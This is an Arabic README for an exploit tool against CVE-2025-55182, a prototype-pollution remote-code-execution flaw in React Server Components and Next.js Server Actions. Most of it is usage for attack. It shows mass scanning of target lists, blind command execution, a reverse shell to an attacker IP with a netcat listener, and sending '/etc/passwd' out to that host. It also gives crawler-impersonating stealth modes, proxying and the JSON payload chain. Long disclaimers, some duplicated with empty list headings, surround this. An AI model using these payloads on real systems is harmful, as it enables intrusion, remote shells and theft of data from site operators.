
أداة استغلال CVE-2025-55182 لتنفيذ التعليمات البرمجية عن بُعد في React Server Components
CVE-2025-55182 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (Remote Code Execution - RCE) في مكوّنات خادم React (React Server Components - RSC) تؤثر على تطبيقات Next.js التي تستخدم App Router مع Server Actions.
توجد الثغرة في عملية إلغاء تسلسل بروتوكول Flight، مما يسمح للمهاجمين بتحقيق تنفيذ تعليمات برمجية عشوائية من خلال تلويث النموذج الأولي (prototype pollution).
لأغراض الاختبارات الأمنية المصرَّح بها فقط
هذه الأداة مقدمة للأغراض التعليمية واختبارات الاختراق المصرَّح بها فقط. الوصول غير المصرَّح به إلى أنظمة الحاسوب غير قانوني. أي استخدام غير قانوني أو غير مصرَّح به لهذه الأداة يقع على عاتق المستخدم حصرًا، ولا يتحمل المؤلف أي مسؤولية على الإطلاق.
هذه الأداة مخصصة لاختبارات الأمن المصرَّح بها والأغراض التعليمية فقط. في حالة حدوث أي مخالفة أو عملية غير قانونية، يتحمل المستخدم كامل العواقب، ولا يتحمل المؤلف أي مسؤولية.
يرجى قراءة بالكامل قبل استخدام هذه الأداة.
باستخدامك لهذه الأداة، فأنت توافق على ما يلي:
| المكوّن | الإصدارات المتأثرة |
|---|---|
react-server-dom-webpack | 19.0.0 - 19.2.0 |
| Next.js | 15.x, 16.x (App Router + Server Actions) |
# Clone the repository
git clone https://github.com/Spritualkb/CVE-2025-55182-exp.git
cd CVE-2025-55182-exp
# Install dependencies
pip install requests
pip install requests[socks] # For SOCKS5 proxy support
python3 exploit.py http://target:3000 --check
# Basic batch scan
python3 exploit.py -f targets.txt --check
# With stealth mode and delay
python3 exploit.py -f targets.txt --check --stealth crawler --delay 2
# Save vulnerable targets to file
python3 exploit.py -f targets.txt --check -o vulnerable.txt
python3 exploit.py http://target:3000 -c "id"
# Start listener first
nc -lvnp 4444
# Execute reverse shell
python3 exploit.py http://target:3000 --revshell 10.0.0.1 4444
# Start listener
nc -lvnp 4444
# Execute and exfiltrate output
python3 exploit.py http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
python3 exploit.py http://target:3000 --check --proxy socks5://127.0.0.1:1080
| الوضع | الوصف |
|---|---|
browser | يحاكي طلبات المتصفح الحقيقية (الافتراضي) |
crawler | يحاكي زحّافات محركات البحث (Googlebot وBaiduspider وغيرها) |
security | يستخدم وكلاء مستخدم (User-Agents) خاصة بماسحات الأمان |
| الخيار | الوصف |
|---|---|
target | عنوان الهدف (مثل http://localhost:3000) |
-f, --file | ملف يحتوي على عناوين الأهداف (عنوان واحد لكل سطر) |
-o, --output | ملف الإخراج للأهداف المعرّضة للثغرة |
-c, --command | الأمر المراد تنفيذه (أعمى) |
--check | التحقق من وجود الثغرة |
--proxy | بروكسي SOCKS5 (مثل socks5://127.0.0.1:1080) |
--stealth | وضع التخفي: browser أو crawler أو security |
--delay | التأخير بين الطلبات بالثواني |
--variants | استخدام متغيرات حمولة متعددة لفحص شامل |
--revshell IP PORT | شل عكسي إلى IP:PORT |
--exfil CMD IP PORT | تنفيذ CMD وإرسال المخرجات (POST) إلى IP:PORT |
-t, --timeout | مهلة الطلب بالثواني (الافتراضي: 15) |
يستغل هذا الاستغلال تلوث النموذج الأولي (prototype pollution) في عملية إلغاء تسلسل بروتوكول Flight:
Object.prototype.then عبر "$1:__proto__:then"_formData.get إلى مُنشئ Function عبر "$1:constructor:constructor"_prefix التي تُمرَّر إلى Function(){
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "<malicious_code>",
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"}
}
}
CVE-2025-55182-exp/
├── exploit.py # Main exploit script
├── targets.txt # Target URLs list (one per line)
└── README.md # This file
# Comments start with #
http://target1.com:3000
https://target2.com
target3.com:3000
react-server-dom-webpack وNext.jsهذا المشروع مرخّص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
بتحميل هذا البرنامج أو نسخه أو تثبيته أو استخدامه، فأنت توافق على الالتزام بشروط إخلاء المسؤولية هذا.
صُمِّمت هذه الأداة حصريًا من أجل:
يُحظر عليك استخدام هذه الأداة من أجل:
يُقدَّم هذا البرنامج «كما هو» دون أي نوع من الضمان، صريحًا كان أو ضمنيًا. يرفض المؤلف (المؤلفون) جميع الضمانات، بما في ذلك على سبيل المثال لا الحصر:
لا يكون المؤلف (المؤلفون) مسؤولين بأي حال من الأحوال عن:
يتحمل المستخدم المسؤولية الكاملة عن:
باستخدامك لهذه الأداة، فأنت تقرّ بما يلي:
بتحميل هذا البرنامج أو نسخه أو تثبيته أو استخدامه، فأنت توافق على الالتزام بشروط إخلاء المسؤولية هذا.
هذه الأداة مخصصة حصريًا من أجل:
يُحظر عليك استخدام هذه الأداة من أجل:
يُقدَّم هذا البرنامج «كما هو» دون أي نوع من الضمان، صريحًا كان أو ضمنيًا. يرفض المؤلف (المؤلفون) جميع الضمانات، بما في ذلك على سبيل المثال لا الحصر:
لا يكون المؤلف (المؤلفون) مسؤولين بأي حال من الأحوال عن:
يتحمل المستخدم المسؤولية الكاملة عن:
باستخدامك لهذه الأداة، فأنت تقرّ بما يلي:
قبل إجراء أي اختبار أمني، يجب عليك:
قبل إجراء أي اختبار أمني، يجب عليك:
⚠️ الوصول غير المصرَّح به إلى الحاسوب عمل غير قانوني ⚠️
⚠️ الوصول غير المصرَّح به إلى أنظمة الحاسوب جريمة جنائية ⚠️